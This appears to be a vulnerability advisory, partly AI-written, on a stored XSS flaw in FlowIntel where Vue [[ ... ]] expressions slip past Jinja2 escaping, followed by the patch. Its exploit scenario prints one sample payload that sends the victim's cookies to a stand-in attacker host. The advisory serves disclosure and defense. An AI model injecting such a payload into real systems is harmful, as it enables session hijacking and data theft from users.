Exploitation Conditions

Exploitation requires the attacker to hold a valid FlowIntel account with write access to at least one of the explicitly affected fields: case titles, ticket identifiers, recurring-case type or schedule information, user profile attributes (first name, last name, nickname, email, or Matrix ID), organisation names, or role names. A victim must subsequently load a page that renders the poisoned field - specifically any of the case view, case report, recurring-case, account profile, or navigation templates confirmed in the commit diff. Limiting factors: authentication is mandatory (PR:L per CVSS 4.0); a field-level write permission is required; active victim page load is required (UI:A); the vulnerability is absent from default-deny configurations where editing shared fields is restricted. There is no remote unauthenticated exploitation path.

Impact

The CVSS 4.0 score of 6.9 with vector AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:L/VA:N/SC:L/SI:N/SA:N accurately captures the threat model: network-accessible, low-complexity, requiring only low-privilege authentication and a single victim page visit. The VC:H metric reflects that session tokens, cookies, and all data visible to the victim are fully accessible to the injected JavaScript. Practical severity is elevated in multi-tenant or team deployments where case data is shared widely, as a single poisoned field can chain-victimize every reviewer. The UI:A (active user interaction) requirement is a meaningful dampener - passive background requests alone will not trigger the payload; a real page load is needed. No EPSS score was provided in the input data, and the vulnerability is absent from CISA KEV, indicating it has not been confirmed as actively exploited at scale. No public POC has been identified. Real-world priority is moderate-to-high for organisations running FlowIntel in collaborative environments, but organizations with a small or single-user deployment face limited cross-user exposure.

Exploit ScenarioDerived

An authenticated FlowIntel user with permission to edit case titles sets a case title to a string containing a Vue expression, such as [[ fetch('https://attacker.example/steal?c='+document.cookie) ]]. Jinja2 HTML-escapes the surrounding text but passes the [[ ... ]] construct through untouched; when any colleague opens the case view, report, or recurring-case page, Vue's client-side compiler evaluates the expression and silently exfiltrates the victim's session cookie to the attacker-controlled endpoint. No public POC has been confirmed, but the attack surface is straightforward for anyone with knowledge of Vue's compilation model and FlowIntel's delimiter configuration.

AnalysisAIv1 – Aug 03, 2026

Stored XSS via Vue template injection in FlowIntel allows an authenticated low-privilege user to persist malicious Vue interpolation expressions across multiple data fields, causing arbitrary JavaScript execution in the browsers of any user who views the poisoned content. The root cause is that Jinja2's standard HTML escaping neutralizes raw HTML tags but does not prevent FlowIntel's custom [[ ... ]] Vue delimiters from being evaluated when the server-rendered output is later compiled by Vue on the client side. Successful exploitation can expose session tokens, sensitive case data, and any information visible to the victim, or perform privileged actions within the victim's authenticated session. No public exploit code or CISA KEV listing has been identified at time of analysis.

RemediationAI

The upstream fix is available as GitHub commit b0e99aa6d2708730bc422ebb6dc0c14d732889fa (https://github.com/flowintel/flowintel/commit/b0e99aa6d2708730bc422ebb6dc0c14d732889fa); update to any FlowIntel build that includes this commit. The patch registers a vue_escape Jinja2 filter that applies markupsafe.escape to HTML-encode special characters and then replaces [[ with [<!----[ and ]] with ]<!---->] to break Vue delimiter recognition using inert HTML comment nodes - this dual-layer approach ensures neither HTML-injection nor Vue-injection is possible from server-rendered field values. A released tagged version containing this fix was not independently confirmed in available references; administrators should verify that their deployed instance includes the patch commit rather than relying solely on a version number. As an interim compensating control prior to patching, restrict write access to the affected fields (case titles, ticket identifiers, recurring-case settings, profile attributes, organisation names, role names) to the minimum required set of trusted users; this reduces the attacker pool but does not eliminate risk for deployments where multiple users legitimately edit shared fields.

Technical ContextAI · show details

FlowIntel is a Flask/Jinja2 server-rendered application that additionally loads Vue.js on the client side, configuring [[ ... ]] as its interpolation delimiters to avoid collision with Jinja2's default {{ }}. The architectural mismatch creates a server-side template injection bypass: Jinja2's escaping pipeline converts angle brackets and quotes into HTML entities, preventing classic HTML-injection payloads, but it does not treat [[ or ]] as sensitive characters, so Vue expressions embedded in those delimiters pass through the escaping layer intact and are evaluated by Vue at DOM-compile time. CWE-79 (Improper Neutralization of Input During Web Page Generation) precisely describes this class: untrusted data reaches a rendering context - here the Vue compile phase - without context-appropriate sanitization. Affected fields confirmed by the commit diff include case titles, ticket identifiers, recurring-case types, user profile attributes (first name, last name, nickname, email, Matrix ID), organisation names, and role names. The CPE cpe:2.3:a:flowintel:flowintel:*:*:*:*:*:*:*:* indicates all tracked versions are affected with no floor or ceiling version specified by NVD.

DescriptionCVE.org

FlowIntel is affected by a stored cross-site scripting vulnerability through multiple user-controlled or administrator-controlled fields.

Persisted values-including case titles, ticket identifiers, recurring-case information, user profile attributes, organisation names, and role names-were rendered inside DOM elements subsequently compiled by Vue. Although normal HTML escaping could neutralize direct HTML markup, it did not prevent an attacker from injecting Vue interpolation expressions using the configured [[ ... ]] delimiters.

An authenticated attacker able to modify one of the affected fields could store a malicious Vue expression. When another user viewed an affected case, report, profile, recurring-case page, or navigation component, Vue could evaluate the injected expression in the context of the FlowIntel application.

Successful exploitation could allow arbitrary JavaScript execution in the victim’s browser under the FlowIntel origin. This could expose information available to the victim, perform actions using the victim’s authenticated session, or modify application data within the victim’s privileges.

The patch introduces a dedicated vue_escape filter that escapes HTML-sensitive characters and breaks Vue interpolation delimiters before the values are rendered. The filter is applied to the affected case, account, organisation, role, configuration, and navigation fields.
